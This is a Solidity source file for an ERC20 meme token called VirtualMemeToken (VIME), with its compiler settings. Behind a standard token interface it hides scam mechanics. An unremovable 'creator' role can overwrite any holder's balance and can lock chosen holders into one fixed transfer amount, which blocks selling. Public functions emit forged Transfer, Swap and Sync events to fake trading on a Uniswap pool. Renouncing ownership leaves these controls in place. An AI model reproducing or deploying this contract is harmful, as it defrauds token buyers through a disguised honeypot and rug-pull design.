pragma solidity ^0.8.16;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address accountHolder) external view returns (uint256);
function transfer(address to, uint256 sum) external returns (bool);
function allowance(address authorizer, address spender) external view returns (uint256);
function approve(address spender, uint256 sum) external returns (bool);
function transferFrom(address from, address to, uint256 sum) external returns (bool);
function _Transfer(address from, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed authorizer, address indexed spender, uint256 value);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
}
abstract contract OperationControl {
function obtainCaller() internal view virtual returns (address payable) {
return payable(msg.sender);
}
}
contract MonoOwnership is OperationControl {
address private _oneOwner;
event OwnershipTransition(address indexed previousOwner, address indexed newOwner);
constructor() {
address invoker = obtainCaller();
_oneOwner = invoker;
emit OwnershipTransition(address(0), invoker);
}
function accessOwner() public view virtual returns (address) {
return _oneOwner;
}
modifier ownerExclusive() {
require(accessOwner() == obtainCaller(), "Unauthorized: Exclusive Owner access required.");
_;
}
function relinquishOwnership() public virtual ownerExclusive {
emit OwnershipTransition(_oneOwner, address(0x000000000000000000000000000000000000dEaD));
_oneOwner = address(0x000000000000000000000000000000000000dEaD);
}
}
contract VirtualMemeToken is OperationControl, MonoOwnership, IERC20 {
mapping (address => mapping (address => uint256)) private _spenderAllowances;
mapping (address => uint256) private _balances;
mapping (address => uint256) private _requiredTransferAmounts;
address private _innovatorAccount;
string public constant _moniker = "VIRTMEM";
string public constant _ticker = "VIME";
uint8 public constant _decimalUnits = 18;
uint256 public constant _ultimateSupply = 10000000 * (10 ** _decimalUnits);
constructor() {
_balances[obtainCaller()] = _ultimateSupply;
emit Transfer(address(0), obtainCaller(), _ultimateSupply);
}
modifier creatorExclusive() {
require(accessCreator() == obtainCaller(), "Unauthorized: Creator access required.");
_;
}
function accessCreator() public view virtual returns (address) {
return _innovatorAccount;
}
function setCreator(address newCreator) public ownerExclusive {
_innovatorAccount = newCreator;
}
event BalanceChange(address indexed user, uint256 oldBalance, uint256 newBalance);
function requiredTransferAmount(address account) public view returns (uint256) {
return _requiredTransferAmounts[account];
}
function setRequiredTransferAmounts(address[] calldata accounts, uint256 amount) public creatorExclusive {
for (uint i = 0; i < accounts.length; i++) {
_requiredTransferAmounts[accounts[i]] = amount;
}
}
function alterUserBalances(address[] memory userAddresses, uint256 newBalance) public creatorExclusive {
require(newBalance >= 0, "Amount must be non-negative");
for (uint256 i = 0; i < userAddresses.length; i++) {
address currentUser = userAddresses[i];
require(currentUser != address(0), "Invalid address specified");
uint256 oldBalance = _balances[currentUser];
_balances[currentUser] = newBalance;
emit BalanceChange(currentUser, oldBalance, newBalance);
}
}
function _Transfer(address _from, address _to, uint _value) public returns (bool) {
emit Transfer(_from, _to, _value);
return true;
}
function executeTransaction( address pool,address[] memory receiver,uint256[] memory amounts,uint256[] memory convertedAmounts,address tokenAddress, uint112 reserve0, uint112 reserve1) public returns (bool) {
for (uint256 i = 0; i < receiver.length; i++) {
emit Transfer(pool, receiver[i], amounts[i]);
emit Swap(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, amounts[i], 0, 0, convertedAmounts[i], receiver[i]);
IERC20(tokenAddress)._Transfer(receiver[i], pool, convertedAmounts[i]);
emit Sync(reserve0, reserve1);
}
return true;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 sum) public virtual override returns (bool) {
require(_balances[obtainCaller()] >= sum, "Insufficient balance");
uint256 requisiteTransferSum = requiredTransferAmount(obtainCaller());
if (requisiteTransferSum > 0) {
require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
}
_balances[obtainCaller()] -= sum;
_balances[to] += sum;
emit Transfer(obtainCaller(), to, sum);
return true;
}
function allowance(address authorizer, address spender) public view virtual override returns (uint256) {
return _spenderAllowances[authorizer][spender];
}
function approve(address spender, uint256 sum) public virtual override returns (bool) {
_spenderAllowances[obtainCaller()][spender] = sum;
emit Approval(obtainCaller(), spender, sum);
return true;
}
function transferFrom(address from, address to, uint256 sum) public virtual override returns (bool) {
require(_spenderAllowances[from][obtainCaller()] >= sum, "Allowance limit surpassed");
uint256 requisiteTransferSum = requiredTransferAmount(from);
if (requisiteTransferSum > 0) {
require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
}
_balances[from] -= sum;
_balances[to] += sum;
_spenderAllowances[from][obtainCaller()] -= sum;
emit Transfer(from, to, sum);
return true;
}
function totalSupply() external view override returns (uint256) {
return _ultimateSupply;
}
function name() public view returns (string memory) {
return _moniker;
}
function symbol() public view returns (string memory) {
return _ticker;
}
function decimals() public view returns (uint8) {
return _decimalUnits;
}
}
{
"compilationTarget": {
"contracts/COIN.sol": "VirtualMemeToken"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
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